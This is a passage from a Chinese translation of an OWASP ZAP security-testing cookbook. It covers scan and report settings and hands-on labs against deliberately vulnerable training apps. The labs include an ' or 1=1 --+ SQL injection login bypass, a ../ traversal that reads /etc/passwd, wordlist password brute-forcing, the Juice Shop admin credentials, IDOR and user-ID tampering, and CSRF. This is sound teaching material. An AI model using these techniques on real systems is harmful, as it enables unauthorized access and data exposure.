这将打开一个 活动扫描 对话框窗口,如果需要,你可以使用 选择 打开 站点 列表来重新定义扫描范围。在这里,你可以通过第一个下拉按钮定义其他已创建的策略,通过第二个下拉按钮定义上下文(仅当站点已添加到上下文中时才可用),定义用户(仅在为认证扫描定义了用户时可用),以及如在 被动扫描 对话框中看到的 递归 选项和 显示高级选项。勾选高级选项框后,会打开四个新选项卡,具体如下:

  • 输入向量:覆盖在 选项活动扫描输入向量 页面中定义的默认输入向量。点击 重置 按钮将会将输入向量恢复为默认选项。

重要提示

使用所有选项时,扫描的时间将会增加。

这些选项包括以下内容:

  • 可注入目标

    • URL 查询字符串和 数据驱动节点

    • 添加 URL 查询参数

    • POST 数据

    • URL 路径

    • HTTP 头部

    • 所有请求

    • Cookie 数据

  • 内建输入 向量处理器

    • 多部分表单数据

    • XML 标签/属性

    • JSON

    • Google** Web 工具包**

    • OData ID/筛选器

  • 启用脚本输入向量:这些是编写或导入的脚本,用于允许用户定位默认不支持的元素。它们还配置了在 添加警报 对话框中被活动扫描器忽略的参数。

下图显示了我们刚刚讨论过的 输入向量 项目:

图 3.19 – 活动扫描 | 输入向量

图 3.19 – 活动扫描 | 输入向量

  • 自定义向量:此功能允许用户指定请求中的位置进行攻击。只有在未选择递归选项时才可用,因此你需要突出显示要攻击的字符并点击添加按钮。可以添加多个自定义输入向量,若要删除它们,只需突出显示任何已选择的字符并点击删除按钮。勾选禁用非自定义输入向量框将禁用所有输入向量,除非它们是手动定义的。

以下截图显示了自定义 向量窗口:

图 3.20 – 活动扫描 | 自定义向量

图 3.20 – 活动扫描 | 自定义向量

  • 技术:此项指定要主动扫描的技术类型。如果你确定目标应用程序中不存在某种技术,可以通过取消选中旁边的复选框来忽略该技术,如图 3.21所示。这样可以加快扫描速度,扫描规则将跳过这些测试。

图 3.21 – 活动扫描 | 技术

图 3.21 – 活动扫描 | 技术

  • 策略:此选项允许你覆盖所选扫描策略中指定的任何设置。在这种情况下,我们使用的是默认策略,如下截图所示:

图 3.22 – 活动扫描 | 策略

图 3.22 – 活动扫描 | 策略

  • 我们还将查看过滤器选项卡。此选项卡允许用户根据以下四个过滤标准指定要在活动扫描中筛选的条件:

    • HTTP 方法:修改此项将更改是否允许和检查 HTTP 方法的设置

    • 状态码:修改此项将更改是否允许和检查状态码的设置

    • 包含/排除标签:与请求相关联的简短文本

    • URL 包含/排除正则表达式:用于包含或排除的正则表达式模式

一旦所有扫描完成,你将需要生成报告,以便轻松查看结果。

它是如何工作的…

活动扫描通过对应用程序进行扫描,检查已知的公共漏洞并尝试利用它们。它还会枚举应用程序,查找可用的资源和目录。

一旦所有扫描完成,你将需要生成报告,以便轻松查看结果。

还有更多…

简单来说,使用其他工具进行主动扫描可以帮助实现更好的结果,并通过比较不同的扫描器来消除误报。不同的工具会以不同的方式解析应用程序。

另见

以下是其他可供下载和安装的开源扫描工具列表:

生成报告

与所有动态分析安全测试DAST)扫描器一样,ZAP 提供了生成报告的功能,使用户能够查看发现的问题并获取证据(即请求和响应),以及问题描述和修复建议。报告中的所有数据对于与高层领导沟通时确定指标非常有用,同时对开发人员在更新或解决代码时了解问题也很有帮助。

准备开始

为了继续此步骤,你需要确保已启动 ZAP 并且已经扫描了一个应用程序。

如何操作...

要开始使用报告,在顶级菜单栏中,选择报告的下拉菜单以打开选项面板。图 3.23显示了可用的各种选项。其他附加插件可以在市场中选择,它们为报告提供附加功能。我们不会讨论这些附加插件,但值得注意的是它们是可用的。

图 3.23 – 报告菜单

图 3.23 – 报告菜单

以下功能可以根据报告下拉菜单中的名称直观识别:

  • 将消息导出到文件...:在此处保存请求和响应到文本文件。首先,通过在历史记录选项卡中选择一个或多个消息来选择要保存的消息,选项卡位于信息窗口中。按住Shift键可以选择多个消息。

  • 将响应导出到文件...:使用此选项将特定响应保存到文本文件。同样,在位于信息窗口中的历史记录选项卡中,选择要保存的相关消息。

重要提示

二进制响应(即图像)可以与测试响应一起保存。

  • 将所有 URL 导出到文件...:使用此选项将访问的所有 URL 保存到文本或 HTML 文件中。此选项可用于比较你遇到的 URL、比较具有不同角色的用户(即管理员与审计员)或比较在同一系统上不同用户权限。

  • 将选定的 URL 导出到文件...:使用此选项将特定或多个 URL 和子域从站点树导出到文本文件。

  • 导出上下文的 URL:在站点树中,将导出选定上下文中的每个 URL。你也可以右键点击上下文节点进行导出。只需注意,站点树中的 URL 必须先添加到上下文中,才能使用此选项。

  • 与另一个会话比较…:此选项要求你保存一个先前的 ZAP 会话,然后会打开一个菜单,供你选择从本地目录中保存的输出文件。它会加载到当前的 ZAP 会话中进行比较。该文件将包含一个表格,其中列出了两个会话的 URL 及其 HTTP 状态。在 .html 报告中(如图 3.24所示),你可以选择查看所有会话的数据 – 仅第一个会话、仅第二个会话,或两者的比较。两者选项只显示两个会话中都包含的 URL,而任何选项则显示所有 URL。然而,HTTP 状态会区分每个会话中响应的 URL。

图 3.24 – 一个 .html 比较报告

图 3.24 – 一个 .html 比较报告

本报告适用于比较两次不同用户访问同一应用程序的会话。它允许你查看哪些用户可以访问哪些 URL,并能够理解用户登录并成功访问的 URL 或路径。

  • 生成报告 …:这是最后一个选项,它会打开一个对话框窗口,提供自定义报告配置的选项。一开始,你会看到四个不同的选项卡,如图 3.25所示,分别是范围模板筛选器选项

    • 范围中,你可以为报告命名、选择将报告保存到哪个本地目录、简要描述报告内容,并选择一个或多个上下文站点加入报告。两个复选框,如果没有警报则生成报告显示报告,允许你生成没有警报的报告,并使用你计算机的默认程序打开该报告类型。

图 3.25 – 生成报告对话框 | 范围

图 3.25 – 生成报告对话框 | 范围

  • 下一个选项卡是 模板,如图 3.26所示:

图 3.26 – 生成报告对话框 | 模板

图 3.26 – 生成报告对话框 | 模板

  • 这里有一个下拉菜单,包含所有可用的模板。报告中包含的模板可以格式化为多种文件类型,如 HTML、MD 和 PDF(见图 3.27)。

图 3.27 – 生成报告对话框 | 模板下拉菜单

图 3.27 – 生成报告对话框 | 模板下拉菜单

  • 主题用于应用不同的颜色和/或样式,但前提是这些样式在所选模板中已定义。

  • 最后,部分用于报告中您希望包含或排除的部分。如果所选模板已定义部分,则会显示每个部分的复选框。通过取消选择任何部分,您将从整体报告中排除它们。

重要说明

默认情况下,所有复选框都会被选中。

  • 接下来是过滤器,它允许您指定报告中要包含的严重性级别,如图 3.28所示。此选项还允许您选择置信度级别(或 ZAP 认为高度可能的级别),以及一个用于过滤假阳性的复选框。

图 3.28 – 生成报告对话框 | 过滤器

图 3.28 – 生成报告对话框 | 过滤器

  • 最后,存在一个选项标签,其中包括报告名称模式模板目录字段(图 3.29)。报告名称模式为您提供了一种简单的方式来定义报告名称的结构。模板目录设置了本地目录的路径,该目录是从中加载模板的地方。

重要说明

除非您设计了一个新的报告,否则无需更改模板目录设置。否则,ZAP 主目录中的报告文件夹会默认设置。

图 3.29 – 生成报告对话框 | 选项 | 模板目录

图 3.29 – 生成报告对话框 | 选项 | 模板目录

它是如何工作的…

报告通过收集所有发现和证据,并将它们组合成一份可以下载并提交给相关方的报告。生成报告对话框中的选项和配置用于自定义报告。

另见

查看这些其他用于生成报告的开源工具:

第四章:身份验证和授权测试

欢迎来到 第四章!我们和你一样激动,能够进入本章。在本章中,我们将涵盖许多关于身份验证和授权测试的主题,以了解攻击这些机制的不同方式。身份验证是验证试图访问系统或应用程序的人的身份有效性的过程。授权也帮助我们验证请求的操作或服务是否已批准特定实体。

在本章中,我们将涵盖以下内容:

  • 绕过身份验证的测试

  • 测试通过加密通道传输的凭证

  • 测试默认凭证

  • 测试目录遍历文件包含

  • 测试权限提升和绕过授权架构

  • 测试不安全的直接对象引用

技术要求

对于本章,你需要在你的机器上安装 OWASP ZAP 和 OWASP Juice Shop,因为你需要能够使用 ZAP 拦截浏览器与 OWASP Juice Shop 之间的流量。

绕过身份验证的测试

身份验证架构的目标是验证被验证用户的身份。检查身份验证功能首先要了解身份验证过程是如何验证用户账户的。当身份验证架构存在漏洞时,攻击者能够绕过身份验证过程。

有多种方法可以绕过身份验证架构。一些绕过方法包括(但不限于)拦截身份验证请求(如果应用程序使用了弱加密)、未正确实现输入验证(这使得注入攻击成为可能)、预测会话 ID(如果它们遵循某种模式),以及配置错误。

准备工作

为了准备这个实验,Juice Shop 必须运行,并且 ZAP 应该拦截浏览器和 Juice Shop 之间的流量。

如何进行…

在这个实验中,我们将通过执行基本的 SQL 注入攻击来绕过身份验证架构并登录管理员账户。

要开始实验室,请按照以下步骤操作:

  1. 访问 Juice Shop 的登录页面。

  2. 打开 ZAP 并通过点击顶部菜单上的绿色圆圈来 设置对所有请求和响应的断点,这将使它变为红色,如 图 4.1 中所示:

图 4.1 – 设置断点按钮

图 4.1 – 设置断点按钮

  1. 再次打开 Juice Shop 应用程序,在用户名和密码框中输入一个撇号('),然后按 Enter(在 macOS 中是 return)。你将看到请求被停止。

  2. 点击 Step 四到五次。

目标是查看包含撇号用户名和密码的请求响应。在 图 4.2 中,我们可以看到该请求:

图 4.2 – 包含用户名和密码字段的请求

图 4.2 – 包含用户名和密码字段的请求

图 4.3中,我们可以看到响应:

图 4.3 – 展示错误的响应

图 4.3 – 展示错误的响应

你可以看到响应中包含了正在使用的数据库类型以及提交的 SQL 查询。

  1. 这些信息不应显示给用户。点击继续,你会在登录下看到"[object Object]"错误。

通过查看这些信息,我们可以判断网站是否存在 SQL 注入漏洞。

  1. 现在,在用户名字段中输入' or 1=1 --+,并在密码字段中输入任意字符。

因为1=1语句为真,SQL 注入成功。--符号(短横线)将查询语句之后的部分注释掉。在这种情况下,密码将被注释掉。

  1. 点击登录,以查看 SQL 注入是否成功,通过显示登录是否成功来验证。

如果你点击右上角的账户菜单,你会看到我们已登录为admin@juice-sh.op,如图 4.4所示:

图 4.4 – 账户登录

图 4.4 – 账户登录

如何运作…

在这个案例中,我们进行了 SQL 注入,以绕过身份验证方案。SQL 注入是绕过身份验证过程的方法之一。如果应用程序没有验证用户输入,可能会执行 SQL 注入从而绕过身份验证。

测试通过加密通道传输的凭据

在本案例中,我们将演示如何验证用户的登录用户名和密码是否通过加密通道从浏览器传输到 Web 服务器。对于应用程序而言,通过加密通道传输登录信息或任何敏感数据(如会话 ID)至关重要。应用服务器和用户浏览器之间传输的数据可能会被攻击者截获,如果流量是加密的,攻击者将无法读取正在传输的数据。

准备工作

为了准备这个案例,请启动 ZAP 和 OWASP Juice Shop。确保 ZAP 拦截 OWASP Juice Shop 应用首页的流量。

如何操作…

为了了解一个网站是否可访问并通过超文本传输协议HTTP)或超文本传输协议安全HTTPS)传输数据,我们需要拦截登录的 HTTP 请求。让我们看一下步骤:

  1. 配置 ZAP 拦截流量,然后登录到网站。

在拦截登录请求后,搜索并在 ZAP 中打开它。它会出现在信息窗口的历史记录标签中。图 4.5显示了登录请求的头部,其中包含你要在此测试中检查的字段:

图 4.5 – 登录请求头部

图 4.5 – 登录请求头部

  1. 检查 HTTP 方法和Referer字段。

HTTP 方法字段是第一行,用于传输数据。地址的开始部分将决定是否使用 HTTPS 或 HTTP。图 4.5 显示的是http

  1. 接下来,检查Referer字段。

该字段显示请求来源页面的地址。与 HTTP 方法字段一样,Referer 字段中的地址开始部分决定了源网页是否可以通过 HTTP 或 HTTPS 访问。

工作原理…

有两个主要的互联网协议用于传输 web 应用程序数据。第一个协议是 HTTP,它传输未加密的数据。第二个协议是 HTTP 的扩展——HTTPS,它用于加密 web 流量。HTTPS 使用传输层安全性TLS),取代了安全套接字层SSL),来加密 web 通信。使用 HTTP 会无意中暴露最终用户的数据,因为它以明文形式发送请求,攻击者可以轻松读取和篡改这些请求。

测试默认凭证

在本教程中,我们将讲解如何测试应用程序的默认凭证。通常,新配置的应用程序、服务器、路由器、主机等都附带有默认密码,供系统管理员登录并进行配置。如果这些默认密码未被更改,当攻击者进行暴力破解攻击时,成功登录的可能性较高。我们将演示如何使用字典文件进行简单的暴力破解攻击。

准备开始

为了准备本教程,请启动 ZAP 和 OWASP Juice Shop。确保 ZAP 在 OWASP Juice Shop 应用程序的主页上拦截流量。此外,您需要使用任何虚拟电子邮件在 OWASP Juice Shop 中创建一个帐户,但请确保在此部分的密码为password。另外,从 GitHub 或 Google 搜索获取密码破解字典文件('top-passwords-shortlist')。

如何操作…

  1. 拦截流量,然后登录应用程序。

登录应用程序后,您将看到POST请求,如图 4.6所示:

图 4.6 – 站点树窗口 POST 请求位置

图 4.6 – 站点树窗口 POST 请求位置

从这里开始,我们将对登录请求凭证进行暴力破解。

  1. 右键点击POST:login()请求,选择攻击,然后选择模糊...

图 4.7 – 站点树窗口

图 4.7 – 站点树窗口

  1. 高亮显示要进行暴力破解的字段,并点击添加...,如图 4.8所示:

图 4.8 – 模糊器对话框和位置

图 4.8 – 模糊器对话框和位置

  1. 然后,点击添加...按钮,如图 4.9所示:

图 4.9 – 有效载荷对话框列表

图 4.9 – 有效载荷对话框列表

这将打开一个窗口,允许您选择有效载荷。

  1. 点击类型下拉框,选择文件,如图 4.10所示:

图 4.10 – 添加有效载荷对话框文件下拉菜单

图 4.10 – 添加有效载荷对话框文件下拉菜单

一旦打开窗口,选择我们在本节中之前下载的词典。

  1. 选择worldlist,如图 4.11所示,然后点击打开添加确定。之后,你的Fuzzer窗口将如下图 4.8所示。现在,你准备好启动 Fuzzer 了。

图 4.11 – 添加有效载荷对话框文件目录视图

图 4.11 – 添加有效载荷对话框文件目录视图

  1. 点击启动 Fuzzer。一个新标签页打开,ZAP 开始测试你所高亮显示的字段,包含已添加的有效载荷。

图 4.12 – Fuzzer 信息窗口

图 4.12 – Fuzzer 信息窗口

它是如何工作的…

正如你所注意到的,"password" 有效载荷起作用了。这是因为应用程序返回了200代码,如图 4.12所示,表明 Fuzzer 测试的密码字段使用的密码是有效的。这个例子适用于任何其他登录界面以及任何使用密码的应用程序。当与有默认凭据的应用一起使用时,你可以同时测试多个凭据,尝试暴力破解登录页面。

还有更多内容…

在选择用于暴力破解等攻击的词典时,要了解你的目标是谁以及目标是什么,以便创建特定的列表(例如,Apache Tomcat 使用的用户名和密码是tomcattomcat)。

另见

测试目录遍历文件包含

目录遍历,也称为路径遍历、文件包含,是指攻击者试图利用输入验证的缺失或方法部署不当,读取或写入未经授权或不应访问的文件。在本指南中,我们将探索攻击者如何执行这种攻击,称为“点点斜杠”(../)攻击。

准备就绪

首先,确保 ZAP 已启动,并使用 PortSwigger Academy 实验室中的文件路径遍历简单案例

如何进行操作…

要确定应用程序的哪部分易受输入验证绕过攻击的影响,你需要列举应用程序中所有接受用户内容的部分。这包括 HTTP GETPOST 请求以及文件上传和 HTML 表单等常见选项。让我们看看这些步骤:

  1. 在 ZAP 中捕获网络应用。

  2. 扫描网络应用并查找任何包含图片文件或其他输入参数的区域:

图 4.13 – 获取:image(filename)

图 4.13 – 获取:image(filename)

在 PortSwigger Academy 实验室中,查看网页上的任何图片,或者在请求编辑器中打开GET请求以查看image(filename) 请求,查看文件名的请求。

  1. 打开请求编辑器,选择GET 请求中的image(filename),并修改文件名以注入文件遍历攻击,如图 4.14所示:

图 4.14 – 文件路径遍历的请求编辑器

图 4.14 – 文件路径遍历的请求编辑器

  1. 当文件路径存在漏洞时,响应将反映出新请求的文件;在我们的例子中,攻击请求的是/etc/passwd文件,如图 4.15所示:

图 4.15 – 响应反射 /etc/passwd

图 4.15 – 响应反射 /etc/passwd

工作原理…

目录遍历攻击旨在访问位于 Web 根目录之外的文件或其他目录。Web 服务器和 Web 应用程序通常会采用身份验证控制来访问文件和资源。管理员试图识别哪些用户和用户组被允许访问、修改或执行服务器上的特定文件。为了防止恶意行为,访问控制列表(ACL) 被用来防止访问敏感文件(如 /etc/passwd)或避免执行系统命令。

ACL 是管理图像、模板、加载静态文本等的常用方法,不幸的是,输入参数(如表单和 Cookie 值)的验证不当将使应用程序暴露于安全漏洞之下。

另见

有时,某些参数被屏蔽,攻击者需要在输入中使用其他方法,比如 HTML 编码或双重编码。对于这些其他字符串,请参考 GitHub,寻找备忘单或其他有效载荷,以帮助构建你的词汇表。然后,使用模糊测试工具快速加载并攻击所选参数。

另见 第二章中的 使用 Fuzzer 进行模糊测试 部分,导航 UI

测试权限提升和绕过授权方案

在本章中,我们将讨论两种漏洞类型:第一种是权限提升,第二种是绕过授权方案。实验室内容涵盖这两种漏洞,因为一旦我们提升了权限,就可以执行未经授权的操作。

在权限提升攻击中,攻击者获得了更高的权限或执行了本应由其他用户执行的操作。通常,这种攻击之所以可能发生,是由于配置错误、软件漏洞或允许攻击者提升权限的漏洞。权限提升攻击有两种类型:第一种是纵向权限提升。在这种攻击中,攻击者成功获得了比其账户应有的更多权限(例如,从用户权限提升到管理员权限)。第二种是横向权限提升。在这种攻击中,攻击者执行了一个并非为其账户设计的操作,而是为一个具有相似权限级别的账户设计的操作。

绕过授权是在攻击者获得访问用户资源的能力时发挥作用的,即使用户没有经过身份验证,从而绕过身份验证。此漏洞会在以下情况下出现:无论是退出应用程序后,还是访问仅对具有适当角色或权限的用户可访问和设计的功能与资源时,都能实现对资源的访问。

准备工作

要在此实验中跟随步骤,你应该运行 OWASP Juice Shop,并让 ZAP 拦截流量。

如何操作…

在本实验中,我们将通过查看另一个用户购物车中的物品来执行横向权限提升。以下步骤将指导你在 Juice Shop 中执行权限提升:

  1. 以管理员身份登录。

管理员邮箱(在本例中作为用户名使用)是 admin@juice-sh.op,密码是admin123。用户名来自评论部分,当选择苹果汁时获得。我们通过使用常见密码列表暴力破解密码获得了密码。

  1. 访问管理员页面,网址为https://[你的 IP 地址或本地主机]:3000/#/administration

通过使用浏览器的开发者工具并阅读main.js文件,获得了管理员页面的路径。

  1. 通过点击用户旁边的眼睛符号来获取用户 ID。

需要用户 ID 才能查看bender@juice-sh.op用户的购物车。点击眼睛后,你可以看到在#符号后的用户 ID,本例中为3,如图 4**.16所示:

图 4.16 – 用户 ID

图 4.16 – 用户 ID

现在我们已经获得了用户 ID,我们需要创建一个新用户账户,以便获取一个正常用户权限的账户。

  1. 退出管理员账户,点击账户 | 登录,点击还不是客户?,填写所需的用户账户信息。创建用户账户后,登录该账户。

  2. 打开 ZAP,添加Juice Shop到作用范围,并通过点击顶部菜单栏的绿色圆圈来设置拦截所有请求和响应,这样它会变成红色,如图 4**.17所示:

图 4.17 – 设置拦截点

图 4.17 – 设置拦截点

  1. 点击顶部菜单中的您的购物车。点击后,你会看到被 ZAP 阻止的请求,并可以编辑它。第一行以GET(所使用的 HTTP 方法)开头;紧接着,你可以看到由协议版本跟随的路径。请注意,路径的结尾包含数字,表示用户 ID。参见图 4**.18

图 4.18 – 用户 ID 请求头

图 4.18 – 用户 ID 请求头

  1. 将 6 替换为用户 ID 3,如图 4.19 所示。点击继续

图 4.19 – 替换请求头

图 4.19 – 替换请求头

现在,你可以看到bender@juice-sh.op的购物篮,如图 4.20所示:

图 4.20 – OWASP Juice Shop 购物篮

图 4.20 – OWASP Juice Shop 购物篮

  1. 为了进一步执行未经授权的操作,让我们从 mailto:bender@juice-sh.op 购物篮中删除树莓汁。刷新并重复步骤 57,检查购物篮是否为空,如图 4.21所示:

图 4.21 – 空购物篮

图 4.21 – 空购物篮

工作原理…

本实验向你展示了权限提升的工作原理。在这个特定的实验中,我们通过更改GET请求中的 ID 来查看另一个用户的购物篮。这类攻击非常危险,因为攻击者可以代表他人执行某些操作,如果提升是垂直的,攻击者将拥有可以危及整个系统或应用程序的权限。

测试不安全的直接对象引用

不安全的直接对象引用(IDOR) 出现的情况是,当应用程序以不安全的方式引用对象,允许用户提供的输入操控并直接访问这些对象。利用此漏洞的攻击者能够绕过授权,直接访问服务器上的资源(例如数据库记录或文件)。

准备工作

首先,确保启动了 ZAP 并使用 PortSwigger Academy 实验室中的不安全直接 对象引用

操作步骤…

在这里,我们将攻击应用程序的实时聊天功能,允许我们查看其他用户发送给虚拟 Web 应用支持团队的消息。让我们来看一下具体步骤:

  1. 首先,在 PortSwigger Academy 实验室中导航到实时 聊天功能。

  2. 在捕获流量的同时,点击查看 转录按钮。

你会注意到这会下载一个编号的文本文件。当你在 ZAP 的手动请求编辑器中查看响应时,你可以操控文件的数字,如图 4.22所示:

图 4.22 – IDOR 攻击的请求与响应

图 4.22 – IDOR 攻击的请求与响应

  1. 将数字改为1并观察响应。

在响应中,你将看到支持机器人与其他人之间的聊天记录,其中揭示了用户以明文发送密码。

工作原理…

最基本的 IDOR 场景发生在应用程序使用容易猜测的数字值(如增量整数)引用对象时,正如我们在测试中所看到的那样。这些字段也可能包含可能的单词,如用户的电子邮件地址或目录名称。其他时候,使用了不良的编码方法,允许攻击者解码某些内容——例如,使用 base64 编码对增量整数进行编码,或者引用用户的头像图像名称哈希值。

测试 IDOR 的最佳方法是请求或创建至少两个用户,以覆盖不同的拥有对象和功能——例如,两个用户分别访问不同的对象(如购买信息、私密消息等)——并且(如果相关并且可能)创建具有不同权限的用户(即管理员与审计员),以查看是否存在对应用功能的直接引用。通过多个用户,测试人员可以节省时间,而不必猜测在尝试访问属于其他用户的对象时,不同对象的名称是什么。

还有更多…

测试时需要关注的其他领域如下:

  • 参数的值是否直接用于检索数据库记录

  • 参数的值是否直接用于在系统中执行操作

  • 参数的值是否直接用于检索文件系统资源

  • 参数的值是否直接用于访问应用功能

第五章:会话管理测试

欢迎来到第五章!在这一章节中,我们将带领您完成与会话管理相关的实用技巧。本章涵盖的主题将向您展示如何使用 OWASP ZAP 来捕获和使用会话令牌,并可以在多种类型的攻击中使用。

在本章中,我们将涵盖以下实用技巧:

  • 测试 Cookie 属性

  • 测试跨站请求伪造(CSRF)

  • 测试注销功能

  • 会话劫持测试

技术要求

对于本章,您需要在计算机上安装 OWASP ZAP 代理和 OWASP Juice Shop 以拦截浏览器和 OWASP Juice Shop 之间的流量。此外,利用您的 PortSwigger 帐户访问 PortSwigger Academy 实验室,这些实验室将在本章的实例中使用。最后,使用 Mutillidae II Docker 环境是完成某些攻击所必需的。

Mutillidae 设置

Mutillidae 是一个开放源代码、不安全且易受攻击的 Web 应用程序,用于训练和学习各种类型的漏洞,通过提示和帮助来利用攻击。这将帮助您学习如何执行从简单到更复杂的攻击。您可以在owasp.org/www-project-mutillidae-ii/找到有关该项目的更多信息。为了简化设置,我们将使用 Mutillidae II Docker 镜像。

  1. 第一步是 git 克隆或下载 GitHub 存储库:

github.com/Nanjuan/mutillidae-docker-nes

  1. 一旦您下载了 GitHub 存储库,请在终端中导航到该文件夹,并查看文件以确保其如图 5**.1所示:

图 5.1 – 下载的 Mutillidae 存储库

图 5.1 – 下载的 Mutillidae 存储库

  1. 当您在 Mutillidae 目录中时,请运行以下 Docker 命令:

    docker compose up -d
    

图 5.2 – Mutillidae 目录

图 5.2 – Mutillidae 目录

  1. 一旦 Docker 设置完成,请打开浏览器并导航到 localhost。您可能注意到 localhost URL 将重定向到localhost/database-offline.php,如图 5**.3所示:

图 5.3 – Mutillidae 的本地主机

图 5.3 – Mutillidae 的本地主机

  1. 接下来,在步骤 1中按下点击此处按钮,如图 5**.3所示。这将弹出一个消息。点击确定

图 5.4 – 点击此处消息

图 5.4 – 点击此处消息

  1. 点击确定后,应用程序将重定向到 Mutillidae 主页,如图 5**.5所示:

图 5.5 – Mutillidae 主页

图 5.5 – Mutillidae 主页

设置完成。

测试 Cookie 属性

Cookies 是网站存储在计算机上的文本文件。网站使用 cookies 来跟踪用户活动、提供个性化体验和/或进行会话管理。因此,在大多数情况下,cookies 包含大量关于用户的私密信息,使其成为犯罪分子的攻击目标。

由于 cookie 中可能存储的数据非常敏感,业界已经创建了 cookie 属性来帮助保护 cookie 数据。以下是可以设置的属性及其解释:

  • Secure 属性

Secure属性确保 cookie 通过 HTTPS 发送,以防止中间人攻击。

  • HttpOnly 属性

HttpOnly属性被设置为防止客户端脚本访问 cookie 数据。此属性作为防御跨站脚本攻击的另一层保护。

  • Domain 属性

Domain属性用于设置 cookie 可以使用的域范围。如果请求 URL 中的域与Domain属性中的域不匹配,cookie 将无效。

  • Path 属性

Path属性被设置为指定 cookie 可以使用的路径。如果路径匹配,则 cookie 将在请求中发送。

  • Expires 属性

Expires属性被设置为指定 cookie 的生命周期。

  • SameSite 属性

SameSite属性被设置为限制在跨站请求中发送 cookie。此属性用于限制与第三方共享 cookie,并作为防御跨站请求伪造CSRF)攻击的保护。SameSite属性可以设置为以下值之一:StrictLaxNone。如果将值设置为None,cookie 将会在跨站请求中发送。如果将值设置为Strict,cookie 将仅发送到它的来源站点。如果将值设置为Lax,即使 cookie 是由第三方创建的,只要 URL 与 cookie 的域匹配,cookie 仍会被发送。

准备工作

对于本教程,您需要启动 ZAP 并确保它正在拦截服务器与浏览器之间的通信。此外,您需要一个 PortSwigger Academy 的用户账户(portswigger.net/web-security)。

如何操作...

默认情况下,ZAP 在被动扫描器中具有规则,如果未设置之前定义的某个属性,将发出警报。在本教程中,我们将启动 PortSwigger 实验室,查看 ZAP 中的 cookie 警报。以下步骤将引导您完成此过程:

  1. 第一步是浏览portswigger.net/web-security,然后点击顶部导航栏中的All Labs

  2. 一旦进入实验室页面,点击Exploiting cross-site scripting to steal cookies >>,如图 5.6所示:

图 5.6 – PortSwigger 实验室

图 5.6 – PortSwigger 实验室

  1. 点击 访问实验室,如 图 5.7 所示,并登录:

图 5.7 – 访问实验室

图 5.7 – 访问实验室

  1. 实验提供了一个易受攻击的应用程序。打开该应用程序后,点击 ZAP 中的 新建上下文 按钮,并在 新建上下文 窗口中选择该应用程序作为 顶级节点,如 图 5.8 所示:

图 5.8 – 新建上下文窗口

图 5.8 – 新建上下文窗口

  1. 点击目标图标,只有在范围内的应用程序才会显示发现的内容。

  2. 右键点击上下文,点击 蜘蛛爬取...,如 图 5.9 所示,开始对网站进行爬取:

图 5.9 – 爬虫抓取

图 5.9 – 爬虫抓取

这样做会将爬虫添加到 ZAP 的底部窗口(如果它不在那里),你会看到进度条。

  1. 完成蜘蛛爬取后,点击底部窗口中的 警报 标签。你会看到 ZAP 发现该应用程序的 cookie 没有包含 HttpOnly 标志和 SameSite 属性,如 图 5.10 所示:

图 5.10 – Cookie 警报

图 5.10 – Cookie 警报

操作原理...

在这个实验中,我们已经看到如何使用 ZAP 来测试缺失的 cookie 安全属性。ZAP 内置了规则,如果 cookie 缺少安全属性,会触发警报。ZAP 被动地发现这些问题;无需进行主动扫描。

测试跨站请求伪造 (CSRF)

在本实验中,我们将介绍如何执行 CSRF 攻击,在此过程中,我们能够以不同的用户身份发布评论。应用程序需要足够安全,因为 CSRF 漏洞允许攻击者利用该漏洞,使用户在不知情的情况下更改敏感信息。

准备工作

为了准备这个实验,请启动 ZAP 和 Mutillidae II。确保 ZAP 拦截来自 Mutillidae II 应用程序的流量。你还需要一个 Mutillidae II 测试账户来发布消息。

如何操作...

  1. 第一步是使用你创建的账户登录到 Mutillidae II,导航到博客页面,并在启用代理的情况下,提交博客帖子。在应用程序中使用下拉菜单,进入 OWASP 2013,再到 A8 - 跨站请求伪造 (CSRF),然后添加到你的博客。在启用代理的情况下,提交博客帖子:

图 5.11 – Mutillidae 添加博客页面

图 5.11 – Mutillidae 添加博客页面

图 5.12 – Mutillidae 当前博客条目

图 5.12 – Mutillidae 当前博客条目

  1. 进入 ZAP Proxy,右键点击 POST 请求,点击 生成反-CSRF 测试表单

图 5.13 – 生成反-CSRF 测试表单

图 5.13 – 生成反-CSRF 测试表单

这将打开一个屏幕,页面上显示表单字段和 CSRF 令牌:

图 5.14 – 博客条目 csrf-token 字段

图 5.14 – 博客条目 csrf-token 字段

  1. 以另一个用户身份登录同一浏览器,然后在表单中输入随机的 CSRF 令牌和攻击者博客条目:

图 5.15 – Mutillidae CSRF 令牌字段操控

图 5.15 – Mutillidae CSRF 令牌字段操控

  1. 请注意,在点击 ZAP 反 CSRF 表单上的提交按钮后,页面会重定向到博客页面,并提交了通过 ZAP 代理创建的反 CSRF 表单的博客条目:

图 5.16 – CSRF 有效载荷

图 5.16 – CSRF 有效载荷

它是如何工作的…

在这个配方中,你能够在没有任何 CSRF 令牌的情况下向受害者用户提交请求。这是通过滥用应用程序代码中的配置错误来完成的,该错误允许在没有验证 CSRF 令牌和已登录用户的情况下接受请求。

测试注销功能

这个配方专注于测试网站的注销机制。注销机制在应用程序中很重要,用于终止活动会话。一些攻击,如跨站脚本和 CSRF,依赖于用户账户中存在活动会话。因此,拥有构建良好且配置合理的注销功能,可以帮助防止跨站脚本和 CSRF 攻击,通过在预定时间框架后或用户注销后终止活动会话。

会话终止需要测试的三个要素如下:

  • 第一项是注销功能。这通常表现为大多数网站上的注销按钮。该按钮应出现在所有页面上,并且应引人注意,确保用户在决定注销时不会错过。

  • 第二项是会话超时期。会话超时期指定会话在被终止之前的不活动时长。

  • 第三项是服务器端会话终止。应用程序必须确保在用户注销或超时后,服务器端会话状态被终止。

准备工作

为了准备这次实验,请确保 OWASP Juice Shop 正在运行,并且 ZAP 正在拦截浏览器与 OWASP Juice Shop 之间的通信。

如何实现…

在本实验中,我们将测试当用户注销时,服务器端会话是否被终止。按照以下步骤来查看如何做到这一点:

  1. 启动 OWASP Juice Shop 应用程序。

  2. 启动 ZAP 并将 OWASP Juice Shop 添加到范围中。

  3. 打开 Juice Shop 并进入登录页面。

  4. 打开 ZAP 并点击绿色圆圈设置在所有请求和响应上断点按钮来添加断点。绿色圆圈按钮会变为红色。

  5. 以管理员身份登录。管理员凭据是 admin@juice-sh.op 作为电子邮件地址,admin123作为密码。

  6. 点击步骤按钮,直到看到包含令牌 ID 的登录请求响应,如图 5.17所示。然后点击继续

图 5.17 – JWT 令牌 ID

图 5.17 – JWT 令牌 ID

  1. 在 Juice Shop 应用中,点击账户,然后点击订单与支付,接着点击订单历史,如图 5.18所示:

图 5.18 – 订单历史到订单与支付

图 5.18 – 订单历史到订单与支付

